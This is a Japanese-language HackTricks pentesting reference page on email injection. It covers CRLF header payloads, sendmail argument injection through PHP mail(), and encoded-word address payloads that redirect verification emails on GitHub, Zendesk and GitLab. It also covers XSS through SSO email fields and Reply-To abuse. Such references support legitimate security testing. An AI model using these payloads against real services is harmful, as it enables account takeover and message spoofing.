Email Injections

Reading time: 13 minutes

tip

AWSハッキングを学び、実践する：HackTricks Training AWS Red Team Expert (ARTE)
GCPハッキングを学び、実践する：HackTricks Training GCP Red Team Expert (GRTE) Azureハッキングを学び、実践する：HackTricks Training Azure Red Team Expert (AzRTE)

HackTricksをサポートする

サブスクリプションプランを確認してください！
**💬 Discordグループまたはテレグラムグループに参加するか、Twitter 🐦 @hacktricks_liveをフォローしてください。
HackTricksおよびHackTricks CloudのGitHubリポジトリにPRを提出してハッキングトリックを共有してください。

送信されたメールに注入

Subject引数の注入

From:sender@domain.com%0ASubject:This is%20Fake%20Subject

偽の件名は元の件名に追加され、場合によってはそれを置き換えます。これはメールサービスの動作に依存します。

メッセージの本文を変更する

二行の改行を挿入し、その後にメッセージを書いてメッセージの本文を変更します。

From:sender@domain.com%0A%0AMy%20New%20%0Fake%20Message.

PHP mail() 関数の悪用

bash

# The function has the following definition:

php --rf mail

Function [ <internal:standard> function mail ] {
- Parameters [5] {
Parameter #0 [ <required> $to ]
Parameter #1 [ <required> $subject ]
Parameter #2 [ <required> $message ]
Parameter #3 [ <optional> $additional_headers ]
Parameter #4 [ <optional> $additional_parameters ]
}
}

5番目のパラメータ ($additional_parameters)

このセクションは、攻撃者がこのパラメータを制御していると仮定した場合の悪用方法に基づいています。

このパラメータは、PHPがバイナリsendmailを呼び出すために使用するコマンドラインに追加されます。ただし、escapeshellcmd($additional_parameters)関数でサニタイズされます。

この場合、攻撃者はsendmail用の抽出パラメータを注入することができます。

/usr/sbin/sendmailの実装の違い

sendmailインターフェースは、システムにインストールされているMTAメールソフトウェア（Sendmail、Postfix、Eximなど）によって提供されます。基本的な機能（-t -i -fパラメータなど）は互換性の理由から同じですが、他の機能やパラメータはインストールされているMTAによって大きく異なります。

以下は、sendmailコマンド/インターフェースの異なるマニュアルページのいくつかの例です：

Sendmail MTA: http://www.sendmail.org/~ca/email/man/sendmail.html
Postfix MTA: http://www.postfix.org/mailq.1.html
Exim MTA: https://linux.die.net/man/8/eximReferences

sendmailバイナリの起源に応じて、悪用するためのさまざまなオプションが発見され、ファイルを漏洩させたり、任意のコマンドを実行したりすることができます。方法については、https://exploitbox.io/paper/Pwning-PHP-Mail-Function-For-Fun-And-RCE.htmlを確認してください。

メール名に注入する

caution

任意のドメイン名（Github、Gitlab、CloudFlare Zero trustなど）でアカウントを作成し、確認メールを受信してそれを確認できた場合、被害者企業の機密情報にアクセスできる可能性があります。

メールの無視される部分

記号：**+、-および{}**は、稀にタグ付けに使用され、ほとんどのメールサーバーによって無視されることがあります。

例：john.doe+intigriti@example.com → john.doe@example.com

括弧 () の間のコメントも無視されます。

例：john.doe(intigriti)@example.com → john.doe@example.com

IPアドレス

IPアドレスを角括弧で囲んでドメイン名として使用することもできます：

john.doe@[127.0.0.1]
john.doe@[IPv6:2001:db8::1]

メールエンコーディング

この研究で説明されているように、メール名にはエンコードされた文字も含まれることがあります：

PHP 256オーバーフロー：PHPのchr関数は、文字が正になるまで256を加え続け、その後操作%256を行います。
String.fromCodePoint(0x10000 + 0x40) // 𐁀 → @

tip

このトリックの目的は、RCPT TO:<"collab@psres.net>collab"@example.com>のような注入を行い、確認メールを予期しない別のメールアドレスに送信させることです（したがって、メール名の中に別のメールアドレスを挿入し、メール送信時に構文を壊します）。

異なるエンコーディング：

bash

# Format
=? utf-8 ? q ? =41=42=43 ?= hi@example.com --> ABChi@example.com

# =? -> Start of encode
# utf-8 -> encoding used
# ? -> separator
# q -> type of encoding
# ? -> separator
# =41=42=43 -> Hex encoded data
# ?= end of encoding

# Other encodings, same example:
# iso-8859-1
=?iso-8859-1?q?=61=62=63?=hi@example.com
# utf-8
=?utf-8?q?=61=62=63?=hi@example.com
# utf-7
=?utf-7?q?<utf-7 encoded string>?=hi@example.com
# q encoding + utf-7
=?utf-7?q?&=41<utf-7 encoded string without initial A>?=hi@example.com
# base64
=?utf-8?b?QUJD?=hi@example.com
# bas64 + utf-7
=?utf-7?q?<utf-7 encoded string in base64>?=hi@example.com
#punycode
x@xn--svg/-9x6 → x@<svg/

ペイロード:

Github: =?x?q?collab=40psres.net=3e=00?=foo@example.com
エンコードされた @ は =40、エンコードされた > は =3e、null は =00 です。
確認メールは collab@psres.net に送信されます。
Zendesk: "=?x?q?collab=22=40psres.net=3e=00==3c22x?="@example.com
前回と同じトリックですが、最初に通常の引用符を追加し、エンコードされた引用符 =22 をエンコードされた @ の前に追加し、次のメールの前にいくつかの引用符を開始および閉じて、Zendeskによって内部で使用される構文を修正します。
確認メールは collab@psres.net に送信されます。
Gitlab: =?x?q?collab=40psres.net_?=foo@example.com
アドレスを区切るためにアンダースコアをスペースとして使用していることに注意してください。
確認メールは collab@psres.net に送信されます。
Punycode: Punycodeを使用して、Joomlaにタグ <style を注入し、CSSの抽出を通じてCSRFトークンを盗むことが可能でした。

ツール

この種の組み合わせをファズするためのBurp Suite Turbo Intruderスクリプトがあります。スクリプトには、潜在的に機能する組み合わせがすでに含まれています。
Hackvertorを使用して、メール分割攻撃を作成することも可能です。

サードパーティのSSO

XSS

githubやsalesforceのような一部のサービスでは、XSSペイロードを含むメールアドレスを作成することができます。これらのプロバイダーを使用して他のサービスにログインでき、これらのサービスがメールを正しくサニタイズしていない場合、XSSを引き起こす可能性があります。

SSOサービスが与えられたメールアドレスを確認せずにアカウントを作成することを許可している場合（salesforceのように）、そのアカウントを使用してsalesforceを信頼する別のサービスにログインできると、任意のアカウントにアクセスできる可能性があります。
salesforceは与えられたメールが確認されたかどうかを示しますが、アプリケーションはこの情報を考慮する必要があります。

返信先

From: company.com を使用してメールを送信し、Replay-To: attacker.com を使用すると、内部アドレスから送信されたために自動返信が送信される場合、攻撃者はその応答を受け取ることができるかもしれません。

ハードバウンス率

AWSのような特定のサービスは、ハードバウンス率として知られる閾値を実装しており、通常は10%に設定されています。これは、特にメール配信サービスにとって重要な指標です。この率を超えると、AWSのメールサービスなどのサービスが停止またはブロックされる可能性があります。

ハードバウンスは、受信者のアドレスが無効または存在しないために送信者に返送されたメールを指します。これは、メールが存在しないアドレスに送信されたり、実在しないドメインに送信されたり、受信者サーバーがメールの受け入れを拒否したりするなど、さまざまな理由で発生する可能性があります。

AWSの文脈では、1000通のメールを送信し、そのうち100通がハードバウンス（無効なアドレスやドメインなどの理由による）した場合、これは10%のハードバウンス率を意味します。この率に達するか、超えると、AWS SES（Simple Email Service）がメール送信機能をブロックまたは停止する可能性があります。

中断のないメールサービスを確保し、送信者の評判を維持するために、低いハードバウンス率を維持することが重要です。メールリスト内のメールアドレスの質を監視および管理することは、これを達成するのに大いに役立ちます。

詳細な情報については、AWSの公式ドキュメントでバウンスと苦情の処理に関する情報を参照できます AWS SES Bounce Handling。

参考文献

tip